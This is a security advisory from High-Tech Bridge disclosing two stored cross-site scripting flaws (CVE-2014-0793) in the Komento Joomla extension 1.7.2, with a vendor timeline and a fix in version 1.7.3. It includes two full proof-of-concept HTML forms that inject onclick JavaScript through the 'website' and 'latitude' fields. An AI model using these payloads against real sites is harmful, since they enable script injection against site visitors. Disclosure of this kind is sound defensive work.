Cross-Site Scripting (XSS) in Komento Joomla Extension

[High-Tech Bridge Security Research <advisory () htbridge com>]

Advisory ID: HTB23194
Product: Komento Joomla Extension
Vendor: Stack Ideas Sdn Bhd.
Vulnerable Version(s): 1.7.2 and probably prior
Tested Version: 1.7.2
Advisory Publication:  January 2, 2014  [without technical details]
Vendor Notification: January 2, 2014 
Vendor Patch: January 2, 2014 
Public Disclosure: January 23, 2014 
Vulnerability Type: Cross-Site Scripting [CWE-79]
CVE Reference: CVE-2014-0793
Risk Level: Medium 
CVSSv2 Base Score: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered two XSS vulnerabilities in Komento Joomla Extension, which can be 
exploited to perform script insertion attacks.


1) Cross-Site Scripting (XSS) in Komento Joomla Extension: CVE-2014-0793

1.1 The vulnerability exists due to insufficient sanitisation of user-supplied data passed via the "website" HTTP POST 
parameter to "/?option=com_komento" URL. A remote attacker can submit a comment with specially crafted "Website" field 
and execute arbitrary HTML and script code in browser in context of the vulnerable website when a user clicks on the 
nickname of the malicious author.

The following exploitation example uses the "alert()" JavaScript function to display word "immuniweb" when user clicks 
on the attacker's nickname in comment:

<form action="http://[host]/?option=com_komento"; method="post" name="main">
<input type="hidden" name="tmpl"    value="component">
<input type="hidden" name="format"  value="ajax"> <input type="hidden" name="no_html" value="1"> <input type="hidden" 
name="component"  value="com_content"> <input type="hidden" name="cid"  value="24"> <input type="hidden" name="comment" 
 value="comment"> <input type="hidden" name="parent_id"  value="0"> <input type="hidden" name="name"  value="name"> 
<input type="hidden" name="email"  value="email () email com"> <input type="hidden" name="website"  
value='http://www.htbridge.com"; 
onclick="javascript:alert(/immuniweb/);"'>
<input type="hidden" name="subscribe"  value="false"> <input type="hidden" name="latitude"  value=''>
<input type="hidden" name="longitude"  value="1"> <input type="hidden" name="address"  value="1"> <input type="hidden" 
name="contentLink" value="http://joomla/";> <input type="hidden" name="pageItemId"  value="435"> <input type="hidden" 
name="option"  value="com_komento"> <input type="hidden" name="namespace" value="site.views.komento.addcomment">
<input type="hidden" name="4873559e1d03545682ae270bf7b0c8ec" value="1"> <input type="submit" id="btn"> </form>


1.2 The vulnerability exists due to insufficient sanitisation of user-supplied data passed via the "latitude" HTTP POST 
parameter to "/?option=com_komento" URL. A remote attacker can submit a comment with specially crafted "latitude" field 
and execute arbitrary HTML and script code in browser in context of the vulnerable website when a user clicks on the 
address of the malicious author.

The following exploitation example uses the "alert()" JavaScript function to display word "immuniweb" when user clicks 
on the attacker's address in comment:

<form action="http://[host]/?option=com_komento"; method="post" name="main">
<input type="hidden" name="tmpl"    value="component">
<input type="hidden" name="format"  value="ajax"> <input type="hidden" name="no_html" value="1"> <input type="hidden" 
name="component"  value="com_content"> <input type="hidden" name="cid"  value="24"> <input type="hidden" name="comment" 
 value="comment"> <input type="hidden" name="parent_id"  value="0"> <input type="hidden" name="name"  value="name"> 
<input type="hidden" name="email"  value="email () email com"> <input type="hidden" name="website"  
value='www.htbridge.com'>
<input type="hidden" name="subscribe"  value="false"> <input type="hidden" name="latitude"  value='" 
onclick="javascript:alert(/imuniweb/);">'>
<input type="hidden" name="longitude"  value="1"> <input type="hidden" name="address"  value="1"> <input type="hidden" 
name="contentLink" value="http://joomla/";> <input type="hidden" name="pageItemId"  value="435"> <input type="hidden" 
name="option"  value="com_komento"> <input type="hidden" name="namespace" value="site.views.komento.addcomment">
<input type="hidden" name="4873559e1d03545682ae270bf7b0c8ec" value="1"> <input type="submit" id="btn"> </form>


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Solution:

Update to Komento 1.7.3

More Informaion:
http://stackideas.com/downloads/changelog/komento

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References:

[1] High-Tech Bridge Advisory HTB23194 - https://www.htbridge.com/advisory/HTB23194 - Cross-Site Scripting (XSS) in 
Komento Joomla Extension.
[2] Komento Joomla Extension - http://stackideas.com/ - Komento is a Joomla comment extension for articles and blogs in 
K2, EasyBlog, ZOO, Flexicontent, VirtueMart and redShop.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public 
use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE 
is a formal list of software weakness types.
[5] ImmuniWeb® - http://www.htbridge.com/immuniweb/ - is High-Tech Bridge's proprietary web application security 
assessment solution with SaaS delivery model that combines manual and automated vulnerability testing.

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Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details 
of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the 
Advisory is available on web page [1] in the References.